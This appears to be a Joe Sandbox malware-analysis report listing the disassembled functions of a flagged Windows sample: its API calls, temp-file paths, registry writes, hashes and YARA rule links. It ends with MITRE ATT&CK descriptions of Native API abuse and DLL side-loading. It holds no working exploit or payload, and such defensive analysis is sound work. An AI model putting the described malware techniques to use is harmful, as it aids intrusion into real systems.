Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401E56
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401E70
MulDiv.KERNEL32(00000000,00000000), ref: 00401E78
ReleaseDC.USER32(?,00000000), ref: 00401E89
CreateFontIndirectW.GDI32(0040CDC8), ref: 00401ED8

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: 12fc5c0feb0b51e7a773ba9164babbc76b3b82788c0ea370a0f868ab0e4caa48
Instruction ID: 1c21784e8a12ec6bf8935da156a17e2c336e66cb5fe6e154f3a2125ab74843e9
Opcode Fuzzy Hash: 12fc5c0feb0b51e7a773ba9164babbc76b3b82788c0ea370a0f868ab0e4caa48
Instruction Fuzzy Hash: 5A018871954240EFE7015BB4AE9ABDD3FB5AF15301F10497AF141B61E2C6B90445DB3C

Function 705916BD Relevance: 7.5, APIs: 5, Instructions: 41memorylibraryloaderCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000808,00000000,?,00000000,705922D8,?,00000808), ref: 705916D5
GlobalAlloc.KERNEL32(00000040,00000000,?,00000000,705922D8,?,00000808), ref: 705916DC
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,00000000,705922D8,?,00000808), ref: 705916F0
GetProcAddress.KERNEL32(705922D8,00000000), ref: 705916F7
GlobalFree.KERNEL32(00000000), ref: 70591700

Memory Dump Source

Source File: 00000000.00000002.72590322272.0000000070591000.00000020.00000001.01000000.00000004.sdmp, Offset: 70590000, based on PE: true

Associated: 00000000.00000002.72590238197.0000000070590000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.72590417653.0000000070594000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.72590494752.0000000070596000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70590000_SecuriteInfo.jbxd

Similarity

API ID: ByteCharGlobalMultiWide$AddressAllocFreeProc
String ID:
API String ID: 1148316912-0
Opcode ID: 2253d5e9ec3fd221f3ac018f41080be408a9efe25a1c647fcddd077bd50b80d3
Instruction ID: 0bea6d94eab1a8d6646ae73ceea23cf07f441035e1006326293e231171080b00
Opcode Fuzzy Hash: 2253d5e9ec3fd221f3ac018f41080be408a9efe25a1c647fcddd077bd50b80d3
Instruction Fuzzy Hash: 06F012731161387BD62017A79C4CDAB7E9CDF9B2F5B120216F718A11A096614C01DBF1

Function 00401C48 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401CB8
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CD0

Strings

!, xrefs: 00401C84

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 0b60248b2d317c3fadb7ed9affa728e8142f9e62085aaabdbec9824b10747ad3
Instruction ID: dc9a0f57bab323a5eda2152a626e9899419b02716f24503a8b80c8a4184e75e9
Opcode Fuzzy Hash: 0b60248b2d317c3fadb7ed9affa728e8142f9e62085aaabdbec9824b10747ad3
Instruction Fuzzy Hash: E921AD71D1421AAFEB05AFA4D94AAFE7BB0EF84304F10453EF601B61D0D7B84941CB98

Function 00404D4D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00422F08,00422F08,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404DEE
wsprintfW.USER32 ref: 00404DF7
SetDlgItemTextW.USER32(?,00422F08), ref: 00404E0A

Strings

%u.%u%s%s, xrefs: 00404DD8

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 808c56ceb77bc8fa6bb0a4fcfba6dc4e55d7e9e185af3d36fc5e6f51395c7837
Instruction ID: 33e626053c854acaf0ea976fdeb40ece7b69d158cb37adfcb571004cb6629101
Opcode Fuzzy Hash: 808c56ceb77bc8fa6bb0a4fcfba6dc4e55d7e9e185af3d36fc5e6f51395c7837
Instruction Fuzzy Hash: 2C11EB7360412877DB00666DAC46EAE329DDF85334F250237FA66F31D5EA79C92242E8

Function 0040248F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nst8185.tmp,00000023,00000011,00000002), ref: 004024DA
RegSetValueExW.ADVAPI32(?,?,?,?,C:\Users\user\AppData\Local\Temp\nst8185.tmp,00000000,00000011,00000002), ref: 0040251A
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nst8185.tmp,00000000,00000011,00000002), ref: 00402602

Strings

C:\Users\user\AppData\Local\Temp\nst8185.tmp, xrefs: 004024CB, 004024D9, 004024F0, 00402504, 0040250F

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: CloseValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nst8185.tmp
API String ID: 2655323295-240906782
Opcode ID: 8b31c99460fdf6c2949f4debf72b45d412ee72b0ef63aad6f5470ffe0bc1fffc
Instruction ID: 9515a87f615354861ff9cc8d48f56862c3e7cd04d157db2ad705c0a1b7eb65e0
Opcode Fuzzy Hash: 8b31c99460fdf6c2949f4debf72b45d412ee72b0ef63aad6f5470ffe0bc1fffc
Instruction Fuzzy Hash: 45116D71900118BEEB11EFA5DE59AAEBAB4AF54318F10443FF504B61C1C7B98E419A58

Function 00405E9B Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,?,C:\Users\user\AppData\Local\Temp\nst8185.tmp,?,00405F0F,C:\Users\user\AppData\Local\Temp\nst8185.tmp,C:\Users\user\AppData\Local\Temp\nst8185.tmp, 44v,?,C:\Users\user\AppData\Local\Temp\,00405C4D,?,76343420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe"), ref: 00405EA9
CharNextW.USER32(00000000), ref: 00405EAE
CharNextW.USER32(00000000), ref: 00405EC6

Strings

C:\Users\user\AppData\Local\Temp\nst8185.tmp, xrefs: 00405E9C

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: CharNext
String ID: C:\Users\user\AppData\Local\Temp\nst8185.tmp
API String ID: 3213498283-240906782
Opcode ID: a019630038ff328a8ec37a6ad8a5e0fa1ea3fa9b42c133706ff5938ffc5cdd25
Instruction ID: c4cc3313bff2df52cb6c0caf4e8c88866a305d48728ab5da0ab5d468dade8cef
Opcode Fuzzy Hash: a019630038ff328a8ec37a6ad8a5e0fa1ea3fa9b42c133706ff5938ffc5cdd25
Instruction Fuzzy Hash: E4F0F631910F2595DA317764CC44E7766B8EB54351B00803BD282B36C1DBF88A819FEA

Function 00405DF0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,004034E9,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004037E6,?,00000008,0000000A,0000000C), ref: 00405DF6
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,004034E9,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004037E6,?,00000008,0000000A,0000000C), ref: 00405E00
lstrcatW.KERNEL32(?,0040A014,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00405E12

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405DF0

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-3355392842
Opcode ID: 1ad634ba4b40e47f3a67f9c69e663da68b942b7adec5edae9754e9c2c01f4b37
Instruction ID: dcf52917e326d6ada13c2a72ecce68a7b96b6e8782615359caad44c872c99b85
Opcode Fuzzy Hash: 1ad634ba4b40e47f3a67f9c69e663da68b942b7adec5edae9754e9c2c01f4b37
Instruction Fuzzy Hash: EBD05EB1101634AAC2116B48AC04CDF62AC9E86704381402AF141B20A6C7785D6296ED

Function 705910E1 Relevance: 6.4, APIs: 5, Instructions: 145memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 70591171
GlobalAlloc.KERNEL32(00000040,?), ref: 705911E3
GlobalFree.KERNEL32 ref: 7059124A
GlobalFree.KERNEL32(?), ref: 7059129B
GlobalFree.KERNEL32(00000000), ref: 705912B1

Memory Dump Source

Source File: 00000000.00000002.72590322272.0000000070591000.00000020.00000001.01000000.00000004.sdmp, Offset: 70590000, based on PE: true

Associated: 00000000.00000002.72590238197.0000000070590000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.72590417653.0000000070594000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.72590494752.0000000070596000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70590000_SecuriteInfo.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 2f7cf97b9cae08b6324fe217992e032e544c4e396fee45486b6e2b21b5196e5f
Instruction ID: 32849708af39c4504e183628d61b2b5223da7f6ecf0787169565abc59d5c90e1
Opcode Fuzzy Hash: 2f7cf97b9cae08b6324fe217992e032e544c4e396fee45486b6e2b21b5196e5f
Instruction Fuzzy Hash: 9951807A9202119FDB01DF66CD4DA297BB8FB54314B25451AF906EB360E734AD20CB5C

Function 00402643 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 65stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nst8185.tmp\System.dll), ref: 0040269A

Strings

C:\Users\user\AppData\Local\Temp\nst8185.tmp\System.dll, xrefs: 0040265E, 00402683, 00402695, 004026E1
C:\Users\user\AppData\Local\Temp\nst8185.tmp, xrefs: 00402688

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: lstrlen
String ID: C:\Users\user\AppData\Local\Temp\nst8185.tmp$C:\Users\user\AppData\Local\Temp\nst8185.tmp\System.dll
API String ID: 1659193697-3437876282
Opcode ID: 34c7efb81093797c11027e5546ec3e843140785abad449b49019a9492c78efcd
Instruction ID: 24c820640bf83c35ca015f911653a3ecbd9f7363fc1a8715c972f2d02b23d4ac
Opcode Fuzzy Hash: 34c7efb81093797c11027e5546ec3e843140785abad449b49019a9492c78efcd
Instruction Fuzzy Hash: 11113A72A40311BBCB00BBB19E46EAE36709F50748F60443FF402F61C0D6FD4991565E

Function 0040301E Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,004031FC,?), ref: 00403031
GetTickCount.KERNEL32 ref: 0040304F
CreateDialogParamW.USER32(0000006F,00000000,00402F98,00000000), ref: 0040306C
ShowWindow.USER32(00000000,00000005), ref: 0040307A

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 1f524868e2ec5e9a115d67c2f52ec07950574c6e8f58c79c8196e6c31eccfe04
Instruction ID: fc94ebd698381dfc42c8ec832a7b78cf8da54aaf5e1058e2af7a384a9ccf94d3
Opcode Fuzzy Hash: 1f524868e2ec5e9a115d67c2f52ec07950574c6e8f58c79c8196e6c31eccfe04
Instruction Fuzzy Hash: 0FF05471602621ABC6306F50BD08A9B7E69FB44B53F41087AF045B11A9CB7548828B9C

Function 0040551A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00405549
CallWindowProcW.USER32(?,?,?,?), ref: 0040559A

Part of subcall function 004044EC: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 004044FE

Strings

, xrefs: 0040552A

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 8a6e7ab2b2ebc920f12c2d5b2b2096f2e9954bb0ec9a095f665350d4b71d8349
Instruction ID: 85372f17a9103eb01fcdfd8a19690b8d052d76dd043ca16804f8a0d8951f02ed
Opcode Fuzzy Hash: 8a6e7ab2b2ebc920f12c2d5b2b2096f2e9954bb0ec9a095f665350d4b71d8349
Instruction Fuzzy Hash: 53017171200609BFDF309F51DD80AAB362AFB84750F540437FA047A1D5C7B98D52AE69

Function 00403B5E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,76343420,00000000,C:\Users\user\AppData\Local\Temp\,00403B36,00403A4C,?,?,00000008,0000000A,0000000C), ref: 00403B78
GlobalFree.KERNEL32(004EFEC0), ref: 00403B7F

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403B5E

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-3355392842
Opcode ID: 628ac1cb43285a1a84ac4c7f875ed8910a03c7a164280e3efa8a6a131abbe062
Instruction ID: 6899552f53244e150386b1952d758f3f927a5bb415edc3c38dc9ad64461d36a3
Opcode Fuzzy Hash: 628ac1cb43285a1a84ac4c7f875ed8910a03c7a164280e3efa8a6a131abbe062
Instruction Fuzzy Hash: 59E08C3250102057CA211F05ED04B1AB7B8AF45B27F06452AE8407B26287B42C838FD8

Function 00405E3C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(80000000,C:\Users\user\Desktop,004030EE,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe,C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe,80000000,00000003), ref: 00405E42
CharPrevW.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,004030EE,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe,C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe,80000000,00000003), ref: 00405E52

Strings

C:\Users\user\Desktop, xrefs: 00405E3C

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-3370423016
Opcode ID: 4d9a109f9f2e29ac56c0736ccbd4fa6bf3a04a93e1f4050107f2eb61dc35f761
Instruction ID: eba18341e72c17137544591cfc51a7e4cac6184970473274e9d14fc4341c5a90
Opcode Fuzzy Hash: 4d9a109f9f2e29ac56c0736ccbd4fa6bf3a04a93e1f4050107f2eb61dc35f761
Instruction Fuzzy Hash: 29D0A7F3400A30DAC3127708EC00D9F77ACEF16700746443AE580A7165D7785D818AEC

Function 00405F76 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,0040625B,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405F86
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405F9E
CharNextA.USER32(00000000,?,00000000,0040625B,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FAF
lstrlenA.KERNEL32(00000000,?,00000000,0040625B,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FB8

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 2e04212541fd7d2d0fc4f715182178ccf0de62a07a1c27cf83518a5c6c9cf375
Instruction ID: baa81b9806bcf2d0018ef5e19b9a589e3df5f1c452cb3fab7a363fd504aebd5e
Opcode Fuzzy Hash: 2e04212541fd7d2d0fc4f715182178ccf0de62a07a1c27cf83518a5c6c9cf375
Instruction Fuzzy Hash: 87F0C231105914EFCB029BA5CE00D9EBFA8EF15254B2100BAE840F7250D638DE019BA8

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

